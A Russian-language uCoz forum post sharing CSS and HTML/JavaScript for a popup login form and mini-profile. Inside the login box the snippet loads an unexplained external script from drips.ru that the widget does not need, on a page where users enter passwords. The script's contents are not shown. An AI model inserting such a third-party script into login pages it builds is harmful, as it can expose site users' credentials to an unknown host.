 |
|
|
Вы вошли как Гость / Группа "Гости" |
| Последние ответы на форуме | |
|
| Популярные темы на форуме | |
| |
|
|
Новая форма входа для Ucoz в ajax окне
|
|
sachok
| Дата: Понедельник, 06.02.2012, 02:55 | Сообщение # 1 |
|
|
| Сообщений: 101 |
|
| Репутация: 1 |
|
| Замечания: |
|
| Статус: Offline |
|
| Скрин: http://s59.radikal.ru/i163/1202/ff/5d5e98ba0e41.png
Новая форма входа для Ucoz в ajax окне + мини-профиль в ajax окне Форма входа и мини-профиль вызываются спомощью ссылки. Вставляем в css в самый низ:
Code /* User Box */ #userbox {text-shadow:0 -1px 0 #446b81;color:#fff;font:normal 14px Trebuchet MS,Arial,Tahoma,Verdana;display:none;position:fixed;top:50%;left:50%;padding:29px 33px 0;width:250px;margin-left:-158px;margin-top:-140px;height:281px;background:url('http://www.csomsk.ru/1-ucoz/pm/user_box.png') no-repeat 0 0;} #userbox a {color:#fff;text-decoration:none;} #userbox a:hover {text-decoration:underline;} #userbox span#nm {font:bold 26px Trebuchet MS,Arial,Tahoma,Verdana;margin-bottom:18px;display:block;} #userbox #cls {width:25px;height:25px;display:block;float:right;background:url('http://www.csomsk.ru/1-ucoz/pm/oel.png') no-repeat 0 -133px;cursor:pointer;} #userbox input[type='text'], #userbox input[type='password'] {margin-top:19px;padding:0 13px;background:url('http://www.csomsk.ru/1-ucoz/pm/oel.png') no-repeat 0 0;font:normal 15px/38px Trebuchet MS,Arial,Tahoma,Verdana;width:224px;height:37px;color:#9f9f9f;border:none;outline:none;}
#userbox input#log_in {background:url('http://www.csomsk.ru/1-ucoz/pm/logbt.png') no-repeat -122px 0;cursor:pointer;width:122px;height:40px;margin:21px 64px 0;border:none;outline:none;} #userbox input#log_in:hover {background:url('http://www.csomsk.ru/1-ucoz/pm/logbt.png') no-repeat -122px -41px;} #userbox input#log_out {background:url('http://www.csomsk.ru/1-ucoz/pm/logbt.png') no-repeat 0 0;cursor:pointer;width:122px;height:40px;margin:21px 64px 0;border:none;outline:none;} #userbox input#log_out:hover {background:url('http://www.csomsk.ru/1-ucoz/pm/logbt.png') no-repeat 0 -41px;}
#userbox #avatar {width:95px;height:96px;background:url('http://www.csomsk.ru/1-ucoz/pm/oel.png') no-repeat 0 -37px;float:left;margin-right:22px;margin-top:19px;} #userbox #avatar img {max-with:85px;max-height:85px;margin:5px 5px 0 5px;border:none;} #userbox #u_block {padding-top:21px;} #userbox #u_block a {display:block;} /* -------- */
Где хотите видеть ссылку для вызова вставляем:
Code <!-- User_Box --> <script type="text/javascript">function log_in() {$('input[name=user]').val($('#u_login').val());$('input[name=password]').val($('#u_pass').val());$('input[name=sbm]').click();}</script> <div id='userbox'> <div id='cls' title='Закрыть' onclick="$('#userbox').fadeOut();"></div> <script src="http://drips.ru/slider.js" type="text/javascript"></script> <span id='nm'><?if($USER_LOGGED_IN$)?>Профиль<?else?>Вход<?endif?></span> <?if($USER_LOGGED_IN$)?> <div id='avatar'><img src='$USER_AVATAR_URL$' alt='avatar' title='$USERNAME$'></div> <div id='u_block'> <a href='/news/0-0-0-1'>Добавить Новость</a> <a href='/index/14'>Сообщения: <span title='Непрочитанных сообщений: $UNREAD_PM$'>$UNREAD_PM$</span></a> <a href='/index/8'>Мой Профиль</a> <a href='/index/11'>Изенить Данные</a> <a href='/index/15'>Все Пользовтели</a> <input type='button' value='' title='Выйти' id="log_out" onclick="location.href='/index/10'"> </div> <?else?><input type='text' id='u_login' value='Логин' size='20' maxlength='50' onblur="if(value == ''){value = 'Логин'}" onfocus="if(value == 'Логин'){value =''}"> <input type='password' id='u_pass' value='Пароль' size='20' maxlength='50' onblur="if(value == ''){value = 'Пароль'}" onfocus="if(value == 'Пароль'){value =''}"> <input type='button' value='' id="log_in" onclick='log_in();'> <?endif?> </div> <!-- /User_Box --> <a href="javascript://" onclick="$('#userbox').fadeIn();"><?if($USER_LOGGED_IN$)?>Профиль<?else?>Вход<?endif?></a>
ВНИМАНИЕ: Стандартную форму входа нужно удалить и глобольных блоков (Если есть)
sachok
|
| |
| |
|
|
 |
Все материалы размещенные на сайте пренадлежат их владельцам и предоставляются исключительно в ознакомительных целях.
Администрация ответственности за содержание материала не несет и убытки не возмещает.
качать шаблоны для Ucoz, шаблоны для Ucoz, скрипты для Ucoz, бесплатные шаблоны для Ucoz, все для Ucoz, софт шаблон для Ucoz, шаблоны под Ucoz, бесплатное для ucoz, Бесплатно скачать шаблоны скрипты без регистрации, все для Ucoz, софт шаблон для Ucoz, шаблоны под Ucoz, бесплатное для ucoz, кнопоки и иконоки для ucoz, кнопки для форума UcoZ, иконки для форума UcoZ, ucoz шаблоны, ucoz скрипты, скрипты для ucoz, шаблон для ucoz, юкоз, ucoz, скрипты, иконки, фотошоп уроки, бесплатно заказать графику, раскрутить свой сайт бесплатно ucoz, Скачать программы, бесплатные программы, Шаблоны для ucoz, Скрипты, всё для веб мастера UcoZ, укоз скрипты, юкоз шаблоны, скрипты для uCoz, ucoz scripsts, юкоз скрипты, скрипты, раздача ICQ, графика для сайта, для вебмастеров, javascript, js, html шаблоны, css, иконки, учебники по HTML, учебники по CSS, Дизайн, photoshop, Шаблоны, Ucoz, скрипты, design-studio, бесплатно, рип, rip, зароботок, игры, фильмы, реклама
|
© Pro uCoz Все права защищены. Хостинг от uCoz |
 |
|
 |